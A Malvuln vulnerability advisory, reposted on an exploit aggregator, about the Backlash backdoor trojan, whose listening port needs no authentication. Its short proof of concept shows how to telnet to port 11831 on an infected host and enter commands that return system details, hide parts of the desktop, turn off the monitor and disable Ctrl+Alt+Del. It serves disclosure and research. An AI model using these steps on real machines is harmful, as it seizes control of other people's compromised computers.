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## https://sploitus.com/exploit?id=PACKETSTORM:161402
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/4ba3c08d8ad964328f2b6f618f714df2.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Backlash.101  
Vulnerability: Missing Authentication  
Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host.  
  
Type: PE32  
MD5: 4ba3c08d8ad964328f2b6f618f714df2  
Vuln ID: MVID-2021-0085  
Dropped files: d3d8thk.exe  
Disclosure: 02/12/2021  
  
Exploit/PoC:  
TELNET x.x.x.x 11831  
  
Enter the number 1 and hit enter and we see some system information returned.  
  
1001Windows folder: C:\WINDOWS   
System folder: C:\WINDOWS\system32   
Product Key:   
Product Id:   
Cpu: Intel64 Family 6 Model 158 Stepping 9   
Temp folder: C:\Users\victim\AppData\Local\Temp\   
Windows version: Windows NT 6.2 9200   
Minutes in windows: 157   
Computer name: DESKTOP-6BLAHNO   
User name: victim   
Windows language: English (United States)   
Resolution: 1503x819   
NumLock state: Off   
CapsLock state: On   
ScrollLock state: Off   
Play sounds: Yes   
Free disk space: 2,774,273,536   
Local host: DESKTOP-6BLAHNO   
Clients connected: 1   
  
Continue entering numbers 2 - 9 and so forth.  
  
2000 All icons in desktop are hidden now...  
3000 Start button is hidden now...   
4000 Taskbar is hidden now...   
5000 Task icons are hidden now...   
6000 Task clock is hidden now...  
7000 Monitor is off now...  
8000 Ctrl+Alt+Del disabled...  
9000 ScrollLock is off now...  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).